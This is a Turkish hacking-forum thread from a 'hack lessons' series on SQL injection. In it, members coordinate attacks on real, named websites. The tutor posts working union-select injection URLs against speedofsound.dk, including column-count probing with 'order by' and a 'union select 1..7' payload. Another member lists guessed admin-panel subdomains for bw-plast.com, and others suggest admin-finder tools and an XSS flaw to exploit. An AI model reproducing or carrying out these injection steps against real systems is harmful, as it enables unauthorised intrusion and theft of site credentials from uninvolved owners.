1. Ayyıldız Tim forumu Hariç Hiç Bir şekilde Rütbeli Oldugunu İddaa edenlere inanmayınız..⠀ Ayyıldız Tim Adına Sizden Bilgi Belge TC Kimlik Vb Evrak İsteyenlere Asla Bilgilerinizi Vermeyiniz.

1. Düzey Hack Dersleri #5-sql Açığı Kullanımı

'Web Hacking ve Güvenlik' forumunda ERVAH-I-EZEL tarafından 18 Mayıs 2017 tarihinde açılan konu

Konu Durumu:
Yanıtlara kapalı.
  1. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Devrem seni çok sık rahatsız ediyorum kusura bakma ama author colonu sitenin kullanıcı adı ve şifresini mi veriyor ?
     
  2. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,796

    Özel Mesaj
    "Author" yazar anlamına gelir. Admin, user, login gibi kolonları bulman gerekli.
     
    Vatansever13 bunu beğendi.
  3. Darquesse Guest

    • Guest
    Katılım:
    7 Mayıs 2017
    Mesaj:
    226
    Alınan Beğeniler:
    140

    Özel Mesaj
    Devrem her şeyi yaptım şu union+select+1,2,3,4,5 yaptım olmuyor kolon sayısı 5 sitenin 3 yöntemide dendim 0,1,2,3,4 yaptım sayıya - koydum yinede olmuyor şu hatayı alıyorum neden olabilir başka siteyemi geçeyim? Hata şu:
    SQL Error: The used SELECT statements have a different number of columns
     
  4. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,796

    Özel Mesaj
    Kolon sayısının 5 olduğuna emin misin? Bir hata yaptın galiba. Aldığın hata şu anlama geliyor.

    SQL hatası: Kullanılan SELECT deyimleri farklı sütun sayısına sahip

    Kolon sayısını 4 ya da 6 olarak dene bence. Bir hata yapmış olabilirsin.
     
    Vatansever13 ve Assassin246 bunu beğendi.
  5. accept Guest

    • Guest
    Katılım:
    31 Mart 2014
    Mesaj:
    17
    Alınan Beğeniler:
    9
    Meslek:
    lise

    Özel Mesaj
    takipdeyim.
     
    ERVAH-I-EZEL bunu beğendi.
  6. Darquesse Guest

    • Guest
    Katılım:
    7 Mayıs 2017
    Mesaj:
    226
    Alınan Beğeniler:
    140

    Özel Mesaj
    Devrem kolon sayısı 5 değil 1 2 3 4 5 6 7 8 hepsinde oluyor bu nasıl site ??
    site adresi: http://www.speedofsound.dk/page.php?id=11
     
  7. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Devrem sitenin admin panelini bulamıyorum, ve bu benim canımı sıkıyor, siteyi atsam yardımcı olurmusun ?
     
  8. Darquesse Guest

    • Guest
    Katılım:
    7 Mayıs 2017
    Mesaj:
    226
    Alınan Beğeniler:
    140

    Özel Mesaj
    Vatansever13 ve psikososyal bunu beğendi.
  9. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
  10. Darquesse Guest

    • Guest
    Katılım:
    7 Mayıs 2017
    Mesaj:
    226
    Alınan Beğeniler:
    140

    Özel Mesaj
    Devrem bu program Vatansever13 devremınkinin aynısı değil 3000 den fazla admin panel deniyor.Sen karıştırdın sanırım.Belkide denemişsindir bilemem.
     
  11. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Denedim devrem , ama site bir garip, yok devrem :D
     
    Vatansever13 bunu beğendi.
  12. Darquesse Guest

    • Guest
    Katılım:
    7 Mayıs 2017
    Mesaj:
    226
    Alınan Beğeniler:
    140

    Özel Mesaj
    Sen en iyisi siteyi at ben bir deneym devrem birkaç programım varda.
     
    psikososyal bunu beğendi.
  13. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    http://bw-plast.com buyur devrem bir bak ,Allah işini rast getirsin :)
     
  14. fayric39 Guest

    • Guest
    Katılım:
    18 Mayıs 2017
    Mesaj:
    2
    Alınan Beğeniler:
    1

    Özel Mesaj
    kolay gelsin devrem bşr sorum olacaktı hacker hakında hiç birşey bilmiyorum nerde eğitim alacam lütfen bana yardımcı olun devrem ve üstlerime söylüyorum
     
    ERVAH-I-EZEL bunu beğendi.
  15. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,796

    Özel Mesaj
    Yavaş, sakin. :D Üzgünüm, şimdi bilgisayarı kapatıyorum. Son olarak sorularınıza cevap vereceğim.

    Önce şuna bak:
    Kod:
    http://www.speedofsound.dk/page.php?id=11+order+by+8
    Sonra da şuna:
    Kod:
    http://www.speedofsound.dk/page.php?id=11+order+by+7
    Demek ki kolon sayısı 7 imiş devrem. Yapman gereken şu:

    Kod:
    http://www.speedofsound.dk/page.php?id=-11+union+select+1,2,3,4,5,6,7
    Bak, ekrana sayılar yansıdı. Dikkatle incele, anlayacaksın. :)

    İnternete "Admin Panel Bulma Yöntemleri" diye arat. Karşına "robots.txt" gibi kodlar çıkar. Onları bir dene. Yine olmazsa geçmiş olsun. :(

    Devrem, konunun başında linkleri verdim. En temelden başlar ve devam edersin. Forumda "Nereden Başlamalıyım?" şeklinde konular var. Biraz araştır. İyi akşamlar...
     
    ihtiras08 ve Vatansever13 bunu beğendi.
  16. Vatansever13 Atıldı

    • Guest
    Katılım:
    1 Mart 2017
    Mesaj:
    1,511
    Alınan Beğeniler:
    918

    Özel Mesaj
    buyur devrem . bunları buldum
    Kod:
    admin.bw-plast.com
    adm.bw-plast.com
    admincp.bw-plast.com
    admcp.bw-plast.com
    cp.bw-plast.com
    modcp.bw-plast.com
    moderatorcp.bw-plast.com
    adminare.bw-plast.com
    admins.bw-plast.com
    cpanel.bw-plast.com
    controlpanel.bw-plast.com
     
  17. Darquesse Guest

    • Guest
    Katılım:
    7 Mayıs 2017
    Mesaj:
    226
    Alınan Beğeniler:
    140

    Özel Mesaj
    Devrem sitede xss açığıda var sanırım bunu keşfettim birde bu açık üzerinden yürü siteye belki bişey bulursun.
     
  18. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Devrem hepsini denedim , hata veriyor :( artık başka sitelerde şansımızı deneyeceğiz inşallah, yinede sağol,Allah işini rast getirsin ..
     
    Vatansever13 bunu beğendi.
  19. Vatansever13 Atıldı

    • Guest
    Katılım:
    1 Mart 2017
    Mesaj:
    1,511
    Alınan Beğeniler:
    918

    Özel Mesaj
    teşekkürler devrem :)
     
  20. Siber Asker Atıldı

    • Guest
    Katılım:
    4 Kasım 2016
    Mesaj:
    519
    Alınan Beğeniler:
    554

    Özel Mesaj
    Gerçekten en basit ve kaliteli şekilde anlatılmış teşekkürler devrem :)
     
    ERVAH-I-EZEL bunu beğendi.
Konu Durumu:
Yanıtlara kapalı.

Bu Sayfayı Paylaş